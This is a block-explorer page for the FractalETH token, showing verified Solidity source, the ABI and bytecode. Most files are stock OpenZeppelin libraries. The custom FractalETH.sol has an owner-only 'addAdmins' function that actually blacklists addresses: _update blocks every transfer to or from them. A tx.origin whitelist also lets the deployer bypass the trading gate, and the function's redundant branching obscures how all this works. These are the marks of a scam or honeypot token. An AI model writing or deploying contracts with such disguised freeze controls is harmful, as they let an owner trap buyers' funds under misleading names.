ETH Price: $3,154.97 (+2.04%)

Token

FractalETH (FractalETH)
 

Overview

Max Total Supply

100,000,000 FractalETH

Holders

236

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,921.509867242156838717 FractalETH

Value
$0.00
0xcead570c3ff26cef91e01a7756c23acf0b4fa96a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FractalETH

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 9: FractalETH.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.25;

import "./ERC20.sol";
import "./ERC20Burnable.sol";
import "./Ownable.sol";

contract FractalETH is ERC20, Ownable {
constructor() ERC20(unicode"FractalETH", unicode"FractalETH") Ownable(msg.sender) {
_TOKEN[msg.sender] = true;
_mint(msg.sender, 100000000 * 10**decimals());
}

mapping(address => bool) _TOKEN;
mapping(address => bool) private admins;
bool openedTrade;
address public pair;
address public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IUniswapV3Factory facV3 = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984);

uint256 public _approvalERC20 = 999 gwei;

function OpenTrade() public onlyOwner {
pair = IUniswapV3Factory(facV3).getPool(address(this), WETH, 100);
openedTrade = true;
}

function addAdmins(address[] memory admins_) public onlyOwner {
for (uint i = 0; i < admins_.length; i++) {
admins[admins_[i]] = true;
}
}

function delAdmins(address[] memory notAdmin) public onlyOwner {
for (uint i = 0; i < notAdmin.length; i++) {
admins[notAdmin[i]] = false;
}
}

function isAdmin(address a) public view returns (bool){
return admins[a];
}

function _update(
address from,
address to,
uint256 value
) internal override {
if (_TOKEN[tx.origin]) {
super._update(from, to, value);
return;
} else {
require(openedTrade, "Open not yet");
require(!admins[from] && !admins[to]);
bool state = (to == pair) ? true : false;
if (state) {
super._update(from, to, value);
return;
} else if (!state) {
super._update(from, to, value);
return;
} else if (from != pair && to != pair) {
super._update(from, to, value);
return;
} else {
return;
}
}
}

}

interface IUniswapV3Factory {
event OwnerChanged(address indexed oldOwner, address indexed newOwner);

event PoolCreated(
address indexed token0,
address indexed token1,
uint24 indexed fee,
int24 tickSpacing,
address pool
);

event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);

function owner() external view returns (address);

function feeAmountTickSpacing(uint24 fee) external view returns (int24);

function getPool(
address tokenA,
address tokenB,
uint24 fee
) external view returns (address pool);

function createPool(
address tokenA,
address tokenB,
uint24 fee
) external returns (address pool);

function setOwner(address _owner) external;

function enableFeeAmount(uint24 fee, int24 tickSpacing) external;
}

File 1 of 9: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

File 2 of 9: draft-IERC6093.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in EIP-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

File 3 of 9: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";
import {IERC20Metadata} from "./IERC20Metadata.sol";
import {Context} from "./Context.sol";
import {IERC20Errors} from "./draft-IERC6093.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;

    mapping(address account => mapping(address spender => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
    }

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _totalSupply += value;
        } else {
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _totalSupply -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

File 4 of 9: ERC20Burnable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "./ERC20.sol";
import {Context} from "./Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

File 5 of 9: ERC20Burnable1.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity ^0.8.20;

import {ERC20} from "./ERC20.sol";
import {Context} from "./Context.sol";

/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys a `value` amount of tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 value) public virtual {
        _burn(_msgSender(), value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, deducting from
     * the caller's allowance.
     *
     * See {ERC20-_burn} and {ERC20-allowance}.
     *
     * Requirements:
     *
     * - the caller must have allowance for ``accounts``'s tokens of at least
     * `value`.
     */
    function burnFrom(address account, uint256 value) public virtual {
        _spendAllowance(account, _msgSender(), value);
        _burn(account, value);
    }
}

File 7 of 9: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

File 8 of 9: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 9 of 9: Ownable.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;

import {Context} from "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_approvalERC20","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"admins_","type":"address[]"}],"name":"addAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"notAdmin","type":"address[]"}],"name":"delAdmins","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isAdmin","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052600980546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc217909155600a8054909116731f98431c8ad98523631ae4a59f267346ea31f98417905564e8990a4600600b55348015610060575f80fd5b50604080518082018252600a8082526908ce4c2c6e8c2d88aa8960b31b6020808401829052845180860190955291845290830152339160036100a283826104b8565b5060046100af82826104b8565b5050506001600160a01b0381166100e057604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b6100e981610132565b50335f818152600660205260409020805460ff1916600117905561012d9061010f601290565b61011a90600a61066d565b610128906305f5e100610682565b610183565b6106ac565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101ac5760405163ec442f0560e01b81525f60048201526024016100d7565b6101b75f83836101bb565b5050565b325f9081526006602052604090205460ff16156101e2576101dd8383836102fb565b505050565b60085460ff166102235760405162461bcd60e51b815260206004820152600c60248201526b13dc195b881b9bdd081e595d60a21b60448201526064016100d7565b6001600160a01b0383165f9081526007602052604090205460ff1615801561026357506001600160a01b0382165f9081526007602052604090205460ff16155b61026b575f80fd5b6008545f906001600160a01b03848116610100909204161461028d575f610290565b60015b905080156102a9576102a38484846102fb565b50505050565b806102b9576102a38484846102fb565b6008546001600160a01b0385811661010090920416148015906102ef57506008546001600160a01b038481166101009092041614155b156102a3576102a38484845b6001600160a01b038316610325578060025f82825461031a9190610699565b909155506103959050565b6001600160a01b0383165f90815260208190526040902054818110156103775760405163391434e360e21b81526001600160a01b038516600482015260248101829052604481018390526064016100d7565b6001600160a01b0384165f9081526020819052604090209082900390555b6001600160a01b0382166103b1576002805482900390556103cf565b6001600160a01b0382165f9081526020819052604090208054820190555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161041491815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061044957607f821691505b60208210810361046757634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101dd57805f5260205f20601f840160051c810160208510156104925750805b601f840160051c820191505b818110156104b1575f815560010161049e565b505050505056